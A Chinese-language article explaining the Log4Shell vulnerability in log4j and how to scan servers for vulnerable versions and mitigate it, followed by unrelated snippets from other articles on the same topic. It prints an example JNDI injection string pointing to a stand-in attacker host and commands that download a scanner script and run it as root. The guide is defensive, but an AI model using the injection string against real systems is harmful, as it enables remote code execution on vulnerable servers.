搜索
简帛阁>技术文章>如何检查您的服务器是否容易受到 log4j Java 漏洞利用 (Log4Shell) 的影响

如何检查您的服务器是否容易受到 log4j Java 漏洞利用 (Log4Shell) 的影响


在广泛使用的 Java 库中发现了一个关键漏洞,当服务器管理员争先恐后地修复它时,它扰乱了大部分互联网。易受攻击的组件log4j到处都用作包含的库,因此您需要检查服务器并确保它们已更新。

这个漏洞是如何工作的?

就漏洞利用而言,漏洞log4j 是过去几年中最严重的漏洞 之一,在CVSS 量表上获得罕见的 10/10 得分,并将在未来多年困扰整个互联网。

更糟糕的是,log4j 它不是一个应用程序——它是一个被许多其他应用程序使用的开源库。您可能没有直接安装它;它可能包含在其他.jar 文件中,或由其他应用程序作为依赖项安装。

本质上,它允许攻击者向您的应用程序发送文本,如果它在某处记录它(例如,在 Web 服务器中记录用户控制的代理字符串),您的服务器将执行恶意代码。文本格式类似于以下示例:一个极其简单的字符串,其中包含指向远程地址的链接。

${<!-- -->jndi:ldap://attacker.com/a}

中的易受攻击的组件log4j 是 Java 命名和目录接口,它允许日志框架发出远程请求。除了它还在该端点反序列化文件,并且能够加载.class 包含远程代码的文件。这是不好的。

我易受攻击吗?

该漏洞在log4j最新版本 2.16.0中很快得到了修补,但问题并没有修复它——而是找出您需要修复的地方。由于log4j 是嵌入式依赖项,因此在您的系统上搜索它的特定版本可能并非易事。而且,由于 Java 如此流行,许多第三方工具和组件可能会使用它,因此您甚至可能不 知道您的机器上是否正在运行 Java 软件。

即使您认为自己不易受到攻击,您可能仍需要仔细检查. 此漏洞利用影响了如此多的系统,您很有可能在不知不觉中运行log4j Java 或 Java。

幸运的是,JDK 版本大于 6u211、 7u201、 8u191、 并且 11.0.1 不受目前最常被利用的主要攻击媒介(使用 LDAP)的影响。无论如何,您仍然需要修补它,因为它也可以很容易地与其他攻击媒介一起使用。此外,仅向端点发出请求的简单行为就可以揭示有关网络上机器的数据,这也不是一件好事。

这个漏洞凸显了为什么保留软件材料清单 (SBOM) 很重要,SBOM 基本上是系统上所有软件的列表,它来自哪里,以及它是由什么制成的。将来,这些知识可以帮助您快速修补此类攻击。

目前,您可能只关心如何修补您的网络。为此,您需要扫描系统以查找log4j 软件使用的版本,并列出所有易受攻击的组件。

扫描您的系统

许多人已经编写了脚本来自动扫描系统中的漏洞安装,例如这个流行的用 Python 编写的脚本,以及这个来自安全公司 LunaSec 的脚本。最容易使用的一个是这个简单的 bash 脚本,它可以扫描您的包并识别log4j 版本,还可以告诉您您的系统是否甚至首先使用 Java。在大多数情况下,您需要使用不同的脚本运行多次扫描,因为不能保证其中任何一个在识别每个易受攻击的系统方面都 100% 有效。

您可以下载它并使用一些命令运行它。这需要以 root 身份运行才能扫描您的整个系统,所以当然,请注意您在 Internet 上使用 root 权限运行哪些脚本。这也是任意代码执行。

wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q
chmod +x log4j_checker_beta.sh
sudo ./log4j_checker_beta.sh

这个脚本的结果突出了是什么让这个 log4j 漏洞如此可怕——在我的个人服务器上运行这个发现我很容易受到攻击,在零日之后的几天,尽管我认为我没有在这台机器上安装 Java 因为我’我没有运行任何我自己的 Java 软件。

Elasticsearch 在这台机器的后台运行,它是用 Java 编写的。我不必手动安装 Java 来安装 Elasticsearch;它包含一个捆绑版本的 OpenJDK。它包含log4j 在此安装中并且容易受到攻击。

至少对于 Elasticsearch 而言,修复方法是更新所有软件包并遵循其缓解指南。您运行的任何软件都可能是这种情况;您需要log4j 直接更新、更新捆绑它的软件,或者使用其他人正在使用的任何最佳实践缓解措施对其进行修补。

如果由于某种原因无法修补 jar,您可以使用这个 JVM 标志来缓解这个问题,它只是告诉log4j在格式化消息时不要进行任何查找。但是不建议这样做,您应该尝试在log4j 任何可以完全解决问题的地方安装 2.16.0。

-Dlog4j2.formatMsgNoLookups=true
广泛使用Java库中发现了一个关键漏洞,当服务器管理员争先恐后地修复它时,它扰乱了大部分互联网。易受攻击组件log4j到处都用作包含库,因此需要检查服务器并确保它们已更新。这个漏洞如何工作
击“终码一生”,关注,置顶公众号每日技术干货,第一时间送达!Log4j漏洞是很严重问题。这个零日漏洞影响Log4j库,让攻击者可以在依赖Log4j写入日志消息系统上执行任意代码。该漏洞拥有最高
这几天,ApacheLog4j2绝对是众多Java程序员提到高频词之一:由于ApacheLog4j2引发严重安全漏洞,令一大批安全人员深夜修Bug、发补丁。此次漏洞更是因为其触发简单、攻击难度低
漏洞描述ApacheLog4j2是一款优秀Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了ApacheLog4j2远程代码执行漏洞。由于ApacheLog4j2某些功
家好,前段时间由一条Log4j官网发布漏洞信息引起了业内轩然大波,想必当时很多程序员和我一样——连夜加班升级系统。事情过去以后,我开始认真研究Log4j远程代码注入漏洞产生原因,最终定位在了J
要:log4j远程代码漏洞问题被大范围曝光后已经有一段时间了,今天完整讲清JNDI和RMI以及该漏洞深层原因。本文分享自华为云社区《升级过log4j,却还没搞懂log4j漏洞本质?为你完整讲清j
要:log4j远程代码漏洞问题被大范围曝光后已经有一段时间了,今天完整讲清JNDI和RMI以及该漏洞深层原因。本文分享自华为云社区《升级过log4j,却还没搞懂log4j漏洞本质?为你完整讲清j
目录RMI和JNDIRMI模拟漏洞重现【紧急补救措施3选1】20211210日左右,javalog4j框架出现了一个大漏洞,对服务器案例引起了不小影响,当然只对于log4j日志使用者来说,如果你
上一篇文章代码静态测试王者新版上线——HelixQAC20213:我格局打开了里,我们介绍了QAC20213重大更新及其它各项新特性。那么对于最近破坏力不容小觑Log4j漏洞对它会产生什么影响
20211210日左右,javalog4j框架出现了一个大漏洞,对服务器案例引起了不小影响,当然只对于log4j日志使用者来说,如果你是spring框架,用是logback,不存在这个问题。R